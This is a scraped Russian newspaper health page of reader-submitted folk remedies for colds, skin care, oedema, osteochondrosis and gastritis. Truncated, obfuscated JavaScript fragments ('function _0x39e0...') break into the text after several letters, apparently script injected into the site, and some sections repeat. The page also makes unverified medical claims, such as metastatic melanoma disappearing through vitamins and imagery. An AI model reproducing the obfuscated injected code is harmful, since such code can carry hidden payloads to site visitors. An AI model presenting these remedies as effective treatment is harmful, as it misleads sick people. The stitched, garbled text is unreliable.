Новости
«Аргументы и факты»
Многие знают, что малина – прекрасное средство от простуды
Однако найти ягоды посередине зимы – задача непростая.
Но не отчаивайтесь, в борьбе против простудных заболеваний прекрасно помогают даже ветки малины, которые можно собирать и летом, и зимой. Заварите 1 стаканом кипятка 1 ст. ложку мелко нарезанных веточек, кипятите их на малом огне 20 мин., настаивайте 30 мин. и пейте по трети стакана 3 раза в день до еды.
Ольга Гомельская, Тверьfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Многие из нас страдают от чрезмерных стрессов, больших нагрузок и трудностей
Работаю главным бухгалтером в крупной фирме. У меня в подчинении 15 человек, да и работа, сами понимаете, нервная – то отчеты, то проверки.
Хочу поделиться своим фирменным средством, которое помогает мне расслабиться даже после самого напряженного рабочего дня.
Нужно наполнить ванну водой приятной температуры, растворить в ней 100 г меда. Полежите в ванне 10–15 минут, и вы сразу почувствуете, как уходит напряжение. Кстати, спится после такой ванны просто замечательно.
Татьяна Васильченко, Москваfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Как избавиться от прыщей народными средствами в домашних условиях?
Переходный возраст у меня закончился давным-давно, однако кожа все равно оставляла желать лучшего. На лице то и дело вскакивали прыщики, появлялись воспаления. Сколько денег я перевела на дорогую косметику – вспомнить страшно, а в результате избавилась от прыщей при помощи народных средств. Вот что мне помогло:
Настой листьев алоэ. Листья алоэ древовидного срезать с растения, промыть и выдержать 10 суток в темном холодном месте, затем измельчить их до кашицеобразного состояния, залить холодной кипяченой водой (на 1 часть кашицы 5 частей воды). Настаивать смесь в течение часа, затем прокипятить не более 2–3 минут, процедить и протирать...
Можно быть выспавшимся и отдохнувшим, но если у человека «мешки» под глазами – он будет выглядеть замученным и больным...
От мешков под глазами избавляюсь с помощью петрушки. Листья нарезаю, прикладываю к векам, сверху накрываю влажными ватными тампонами и держу пять минут.
Е. Савченко, Талдом
Комментирует Анна Стенько, д. м. н., завотделением Института пластической хирургии и косметологии:
- Маска из побегов петрушки не только снимает отёки под глазами, но за счёт большого количества витаминов отбеливает и тонизирует кожу.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Отёк - это скопление избыточного количества жидкости в тканях. Причины, по которым отекают ноги, могут быть самыми разными...
Зимой у меня всегда отекают ноги. От этой напасти спасаюсь курагой - заливаю 50 г сухофруктов стаканом кипятка, настаиваю 3-4 часа, процеживаю и принимаю по полстакана 2 раза в день. Помогает отменно!
Б. Долгих, Казань
Комментирует Вера Кукарцева, врач-терапевт высшей категории:
- Курага обладает мочегонным действием и поэтому используется при многих заболеваниях, сопровождающихся отёками, - обычно это болезни почек, печени и сердечно-сосудистой системы. Зимой компот из кураги особенно полезен. Ведь высушенный абрикос - кладезь калия, каротина, фосфора, кальция, железа, витамина В5, а содержащиеся в кураге пектины нормализуют работу...
Отёк - это скопление избыточного количества жидкости в тканях. Причины, по которым отекают ноги, могут быть самыми разными...
Зимой у меня всегда отекают ноги. От этой напасти спасаюсь курагой - заливаю 50 г сухофруктов стаканом кипятка, настаиваю 3-4 часа, процеживаю и принимаю по полстакана 2 раза в день. Помогает отменно!
Б. Долгих, Казань
Комментирует Вера Кукарцева, врач-терапевт высшей категории:
- Курага обладает мочегонным действием и поэтому используется при многих заболеваниях, сопровождающихся отёками, - обычно это болезни почек, печени и сердечно-сосудистой системы. Зимой компот из кураги особенно полезен. Ведь высушенный абрикос - кладезь калия, каротина, фосфора, кальция, железа, витамина В5, а содержащиеся в кураге пектины нормализуют работу...
Остеохондроз - крайне серьезное и неприятное заболевание
У моего мужа остеохондроз. Как чуть его продует или он поднимет что-нибудь тяжелое, так сразу же начинает болеть поясница. Мы перепробовали множество лекарств и народных средств против этой напасти и хотим поделиться теми рецептами, которые исправно нас выручают.
● Микстура из корня сельдерея. 2 кг сельдерея прокрутить через мясорубку и смешать в трехлитровой банке с 1 кг меда. Микстуру поставить в темное место (но не в холодильник) на 2 недели. Принимать лекарство нужно по 1 ст. ложке три раза в день до еды (до полного выздоровления). Смесь эта очень неприятная на вкус, но здорово помогает при радикулите и остеохондрозе.
● Растирание...
Как пережить зиму без гриппа и простуды?
Хочу поделиться прекрасным рецептом, который укрепит иммунитет и поможет пережить зиму без гриппа и простуд.
● Хвою промойте сначала в теплой, а потом в холодной воде, иголки мелко порежьте и сложите в стеклянную банку, засыпав сахаром из расчета 4:1. Так хвоя может храниться до самого лета.
Из этой массы приготовьте хвойный напиток: 2 ст. ложки «сладких иголок» залейте 4 стаканами холодной кипяченой воды, три дня настаивайте, затем процедите и принимайте по 0,5 стакана два раза в день. Пейте курсами по 3–5 дней с перерывом на 3 недели.
Татьяна Семеновна Елохина, Рязань
Личное мнение
Анфиса Чехова
– Я за народную медицину...
Обычная простуда иногда приводит к осложнениям или другим заболеваниям
Хочу поделиться своим фирменным рецептом от простуды. Думаю, в зимние холода он будет полезен многим. При простуде, кашле и боли в горле поможет чесночный отвар.
Чтобы его приготовить, необходимо влить в эмалированную кастрюлю один стакан с четвертью воды и, когда она закипит, добавить 1 зубчик крупнонарезанного чеснока. Прокипятить в течение 5 минут на слабом огне, затем снять с огня, накрыть крышкой и остудить в течение 45 минут. Отвар процедить и пить по полстакана один раз в день.
Вкус и запах, конечно, оставляют желать лучшего, но помогает чесночный отвар замечательно!
Петр Васильевич Мушаков, Краснодарский крайfunction _0x39e0(_0x2e6d70,_0x39105a){const...
В холодное время года ухаживать за кожей нужно особенно тщательно
У меня есть любимая «зимняя» маска для лица, которая помогает моей коже оставаться хорошо увлажненной даже в самые лютые морозы. Приготовить это средство совсем несложно. Четверть банана тщательно разомните, добавьте 0,5 ложки вашего питательного крема, 3 капли лимона и 3 капли оливкового масла. Все хорошо перемешав, нанесите маску на 15 минут.
Ирина Самойлова, Астрахань
Личное мнение
Олег Газманов:
– Я очень положительно отношусь к народной медицине, потому что она проверена временем. Единственный негативный момент заключается в том, что некоторые растения, попадая в городскую зону, могут впитывать различные вредные вещества, поэтому...
Очень часто простуда приводит к бронхиту. Как во время остановить болезнь?
Хочу поделиться со всеми читателями «АиФ. Здоровье» своим фирменным рецептом от кашля. Мятный настой помогает согреться и быстро избавляет от симптомов бронхита и простуды.
Столовую ложку мяты залейте стаканом кипятка, нагревайте 5 минут на медленном огне, процедите. Затем размешайте в этом настое 1 ч. ложку меда, сок четвертинки лимона и выпейте горячим перед сном. В большинстве случаев после такого лечения кашель исчезает буквально за одну ночь. Для закрепления эффекта неплохо сделать горячий компресс, смешав три части горячей воды с одной частью яблочного уксуса. Компресс прикладывают к горлу и груди на 15–20 минут.
Иван Константинович...
Очень полезно хотя бы раз в неделю проводить сеансы пилинга и глубокого очищения лица
Овсяные хлопья, измельченные при помощи кофемолки и разведенные водой или молоком, – отличный пилинг для сухой, чувствительной кожи лица.
А для жирной кожи подойдет такой рецепт: мякоть фруктов (абрикосов или сливы) смешайте с протертыми в кофемолке зернами кофе. Только не переусердствуйте и не натирайте им кожу до покраснения. Отшелушивающие средства можно наносить только легкими массажными движениями.
Диана М., Саратов
Поможем друг другу!
Дорогие читатели! Если у вас возникла проблема со здоровьем, не стоит бороться с бедой в одиночку. Расскажите о своей болезни. Наверняка среди читателей нашей газеты найдутся те, кто знает...
Очень полезно принимать ванны с добавлением различных активных веществ
Хочу рассказать о том, как при помощи обычной ванны и лечебных трав избавиться от различных недомоганий.
Ванна с ромашкой обладает успокаивающим эффектом и используется для лечения кожных заболеваний. 250 г цветков ромашки аптечной залейте 1,5 л воды и кипятите в течение 10 минут. Затем отвар процедите и вылейте в ванну.
Отвар дубовой коры устранит излишнюю потливость и сузит поры при жирной коже. Горсть дубовой коры отварите в течение 10 минут, процедите и добавьте в ванну с водой.
Тем, кто хочет укрепить нервы и иммунитет, поможет цитрусовая ванна. 5 лимонов с кожурой нарежьте ломтиками и залейте холодной водой на 2 часа. Затем настой...
Гранат - общеукрепляющее средство. А я использую его для полоскания горла при ангине...
Это помогает быстро избавиться от болевого синдрома и снять воспаление. Четверть стакана свежевыжатого сока развести кипячёной водой комнатной температуры 1:1 и полоскать 3-4 раза в день.
М. Соболева, Кижи
Комментирует Елена Мингинович, к .м. н., главный врач Центра традиционной фитотерапии:
- Свежевыжатый сок граната можно использовать в качестве лечебного препарата. В нём содержатся органические кислоты, аминокислоты, водорастворимые полифенолы и витамины (включая аскорбиновую кислоту). Эти ценные вещества обладают выраженным противовоспалительным действием. Поэтому полоскание горла гранатовым соком приносит облегчение при воспалительных...
Первые упоминания о лечебных свойствах багульника относится к XII веку
Не так давно поскользнулась и поставила себе огромный синяк.
Быстро избавиться от гематомы мне помогло такое средство: 1 ст. ложку сухой травы багульника залейте стаканом кипятка, прокипятите на водяной бане в течение 5 минут, дайте настояться полчаса, процедите и делайте примочки на больное место.
Валентина Павлюк, Иркутск
Личное мнение
Даниил Спиваковский:
– Не могу сказать, что я активно пользуюсь рецептами народной медицины, но в случае простуды ем чеснок, лук, мед, и они мне очень хорошо помогают. К таблеткам обращаюсь крайне редко, антибиотики я пил максимум два раза в жизни, когда чувствовал себя действительно очень плохо. В...
Если у вас возникла проблема со здоровьем, не стоит бороться с бедой в одиночку!
У меня хронический гастрит. Раньше каждую весну и осень мучилась от обострений, но теперь у меня есть верное средство, чтобы избежать плохого самочувствия.
Мне помогает обычный зеленый салат. Я выращиваю его на подоконнике и готовлю из листьев настой. Это лекарство вот уже несколько лет спасает меня от проблем с желудком.
Приготовить настой очень просто. 1 ст. ложку измельченных листьев салата нужно заварить стаканом кипятка, настоять 1–2 часа, процедить. Пить по 1/2 стакана 2 раза в день или по стакану на ночь.
Нина Власюк, Вологда
Поможем друг другу!
Дорогие читатели! Если у вас возникла проблема со здоровьем, не стоит бороться...
Сельдерей – ценнейший продукт питания и лечебное средство
Я работаю бухгалтером, сами понимаете, приходится целыми днями сидеть в офисе. Результат такой работы – поясничный остеохондроз. Избавиться от болей в спине мне помогает микстура из корня сельдерея.
Чтобы ее приготовить, 2 кг сельдерея прокрутите через мясорубку и смешайте в трехлитровой банке с 1 кг меда. Микстуру поставьте в темное место (но не в холодильник) на 2 недели. Принимать лекарство нужно по 1 ст. ложке три раза в день до еды.
А вот еще один рецепт – компрессы из алоэ с медом. Надо взять несколько листьев алоэ, промыть и пропустить их через мясорубку. К 50 г сока алоэ добавить 100 г меда и 150 мл водки, хорошо перемешать,...
Ни один из цитрусовых не оказывает столько эффектов, как грейпфрут
Хочу поделиться своим рецептом для профилактики простудных заболеваний. Это средство особенно понравится вашим детям, ведь в отличие от большинства настоев оно сладкое!
Чтобы его приготовить, нужно взять 3 грейпфрута, порезать на мелкие кусочки вместе с кожурой. Прокипятить их 20 минут в 2 л воды. Выпить этот напиток в течение дня, если накануне вы простудились или почувствовали первые признаки простуды. Пить отвар нужно очень горячим, добавив в него мед или сахар.
Ирина Белякова, Тверь
Поможем друг другу!
Дорогие читатели! Если у вас возникла проблема со здоровьем, не стоит бороться с бедой в одиночку. Расскажите о своей болезни....
Если и у вас есть столетник, то вы располагаете мгновенной косметической маской
Моей маме уже за 50. Но, глядя на нее, нельзя дать ей больше 40. Кожа у нее гладкая, морщин почти нет, а цвет лица такой, что позавидуют и юные девушки. Когда маму спрашивают, как ей удается хорошо выглядеть, она с удовольствием делится своим рецептом молодости со всеми желающими. Ведь средство-то очень доступное. Это – столетник, который найдется практически на каждом подоконнике.
● Из старых листьев алоэ выжимают сок, разводят его водой: 1 часть сока на 4 части воды. Соком пропитывают специальную льняную или хлопчатобумажную тряпочку с прорезями для глаз и накладывают ее на лицо на 30–40 и более минут. Вместо льняного куска...
Если у вас слоятся ногти, то существует множество средств, которые помогут исправить ситуацию
В одном из прошлых номеров «АиФ. Здоровьe» прочитала письмо с просьбой поделиться советом, как укрепить ногти. Я знаю отличное средство.
Чтобы ноготки не расслаивались, время от времени балуйте их масляными ванночками. Налейте в миску теплое растительное масло, в которое добавлено несколько капель лимонного сока. Опустите пальцы в эту смесь и подержите в течение 10–15 минут, вытрите руки салфеткой и не мочите их в ближайшие пару часов. Ванночки следует делать 1–2 раза в неделю, и уже через месяц вы заметите результат.
Ольга Гришанкова, Иваново
Поможем друг другу!
Дорогие читатели! Если у вас возникла проблема со здоровьем, не стоит...
Для этой цели пригодны все сорта меда, но лучше пользоваться липовым
Несколько дней назад ездила на дачу, укрывала розы лапником, убирала опавшие листья. То ли перетрудилась слегка, то ли продуло меня, но наутро встать с кровати оказалось почти невозможно – очень сильно разболелась поясница.
Пришлось даже соседке звонить, просить ее в магазин за продуктами для меня сходить. Продуктов она мне купила, а заодно посоветовала отличное средство, которое поставило меня на ноги буквально на следующий день. Хочу поделиться этим замечательным рецептом со всеми читателями «АиФ. Здоровье».
Если заболела спина, намажьте больное место тонким слоем меда, накройте двумя слоями бумажных салфеток, сверху положите два...
На работу кишечника влияют не только неправильный режим дня, но и переживания
Сколько себя помню, у меня всегда был очень слабый желудок. Стоит немного погрешить против диеты, начинаются проблемы – то понос, то запор. К счастью, я научилась справляться с этими неприятностями. А помогает мне в этом овсяный кисель. Он регулирует работу кишечника, нормализует стул и при запорах, и при поносах.
Приготовить лечебный кисель несложно: крупу заливают холодной кипяченой водой в пропорции 1:1, кладут немного дрожжей или кусок ржаного хлеба и оставляют бродить на 12 часов. Кастрюльку с киселем завертывают в толстую ткань, чтобы сохранить тепло. Затем осторожно сливают жидкость, доводят до кипения – и кисель готов.
Тамара...
Каждой девушке хочется иметь ровную, гладкую, упругую, без малейшего прыщика и пятнышка кожу лица...
У меня на носу расширенные поры – «привет» из далекой юности, когда на носу было полно прыщей. Сделать кожу более гладкой и сузить поры мне помогает протирание замороженным настоем шалфея.
Одну чайную ложку сухих листьев шалфея залить 50 мл крутого кипятка, закрыть, настоять 5–7 минут, процедить. Как остынет, разлить по формочкам и поставить для замораживания. Можно капнуть в отвар несколько капель сока лимона.
Маргарита Т., Самара
Поможем друг другу!
Дорогие читатели! Если у вас возникла проблема со здоровьем, не стоит бороться с бедой в одиночку. Расскажите о своей болезни. Наверняка среди читателей нашей газеты найдутся те, кто...
Влияют ли на наше мнение рекламные ролики? Нужны ли они или лучше обойтись без них?
Мария, 44 года, продавец
Благодаря социальной рекламе у многих появляется реальный шанс узнать что-то важное. Например, как вы думаете, многие ли дети и подростки из неблагополучных семей знают, как защитить себя от СПИДа или гепатита? Родители с ними на эту тему, впрочем, как и на многие другие, не разговаривают. Для них источник информации — друзья на улице да телевизор. Хорошо, если хотя бы по телевизору им внушают, как нужно правильно себя вести! Думаю, что большинство таких подростков, например, о том, что нужно пользоваться презервативами, узнали именно из социальной рекламы. Уличные приятели вряд ли им о таких «мелочах» рассказывают....
Влияют ли на наше мнение рекламные ролики? Нужны ли они или лучше обойтись без них?
Мария, 44 года, продавец
Благодаря социальной рекламе у многих появляется реальный шанс узнать что-то важное. Например, как вы думаете, многие ли дети и подростки из неблагополучных семей знают, как защитить себя от СПИДа или гепатита? Родители с ними на эту тему, впрочем, как и на многие другие, не разговаривают. Для них источник информации — друзья на улице да телевизор. Хорошо, если хотя бы по телевизору им внушают, как нужно правильно себя вести! Думаю, что большинство таких подростков, например, о том, что нужно пользоваться презервативами, узнали именно из социальной рекламы. Уличные приятели вряд ли им о таких «мелочах» рассказывают....
В каждом человеке заложен механизм выздоровления и регенерации тканей. Если мозг даёт команду, то этот механизм включается
Опухоли-крысы
Сотрудника фармацевтической фирмы Ивана врачи приговорили, когда обнаружили, что меланома распространилась на печень, желудок, лёгкие, кости и дала 10 метастазов в мозг. Но мужчина не сдался. Начал принимать странную смесь из 17 витаминов и пищевых добавок, воображал, что метастазы - это крысы и он охотится на них с бейсбольной битой. А через несколько месяцев обследование показало, что почти все метастазы исчезли. Врачи не верили, что дело в витаминах, но разгадать секрет выздоровления не смогли.
- С меланомами действительно часто возникают загадочные ситуации, - говорит Алексей Северцев, профессор, хирург-онколог. - Это...
К сожалению, на незначительное кровотечение из десен обращает внимание далеко не каждый
Не так давно ходила к стоматологу снимать зубной камень. Видимо, что-то пошло не так или десны у меня слишком чувствительные, но после этой процедуры довольно долго не могла восстановиться – когда чистила зубы, на щетке появлялась кровь. Вроде бы ничего страшного – не повод бежать к врачу, но все-таки довольно неприятно. Поэтому я решила обратиться за помощью к народным средствам.
Мне помог такой рецепт: 100 г листьев столетника измельчите до состояния кашицы, положите в эмалированную кастрюлю или миску и оставьте на 1 час. Затем отожмите сок, доведите его до кипения, процедите и полощите рот этим соком, разводя его кипяченой водой в...
Лучшим средством от простуды служит горячий чай из трав
Хочу поделиться своим фирменным средством для лечения простуды. Этот рецепт достался мне от бабушки. Стоило мне в детстве начать кашлять или рассопливиться, бабуля тут же заваривала мне травяной чай. Теперь лечу этим средством своих детей. Помогает отлично.
Чтобы приготовить травяной чай вам понадобится 1 ст. ложка сухих цветов липы, 3–5 ягод шиповника, 1 ч. ложка сухой травы ромашки аптечной, 1 ст. ложка сухой травы подорожника. Полученную смесь залейте кипятком, дайте настояться 10 минут, добавьте мед. Пейте как чай 3–4 раза в день.
Нина Р., Самараfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
С приходом ноября на прилавках магазинов появляются ярко-оранжевые плоды хурмы... почему бы этим не воспользоваться?
Сейчас самый сезон хурмы. Думаю, далеко не все знают, что этот фрукт – замечательное сырье для домашних масок. Причем из хурмы можно приготовить косметику практически для любого типа кожи.
При увядающей, стареющей коже лица растертую мякоть хурмы смешайте со сливками или молоком в равных соотношениях и нанесите на лицо на 15–20 минут. Затем снимите маску ватным тампоном, ополосните лицо водой.
При жирной пористой коже лица мякоть смешайте со взбитым белком куриного яйца. Маска очищает, освежает, отбеливает, тонизирует кожу.
Для сухой и нормальной кожи лица можно приготовить питательный крем из 1 ст. ложки кашицы плодов хурмы, растертой...
Прыщи на лице могут появляться в любом возрасте из-за нарушения работы кишечника, стресса и неправильного питания
Месяц назад я внезапно покрылась какими-то мелкими прыщиками. Удивилась – вроде переходный возраст давно закончился. Помню, накупила тогда всякой разной косметики, но эффект был нулевой. И вот как-то раз подруга сказала мне, что прыщи могут появляться из-за нарушения работы кишечника. Подумала, что, наверное, это мой случай, ведь вместе с появлением прыщиков я стала ощущать какой-то дискомфорт в животе. Та же самая подруга посоветовала мне средство от этой напасти.
● Нужно взять по одной большой горсти листьев березы, листьев крапивы, листьев шалфея. Две ст. ложки смеси заливают 2 стаканами кипятка и настаивают 15 минут. Пьют...
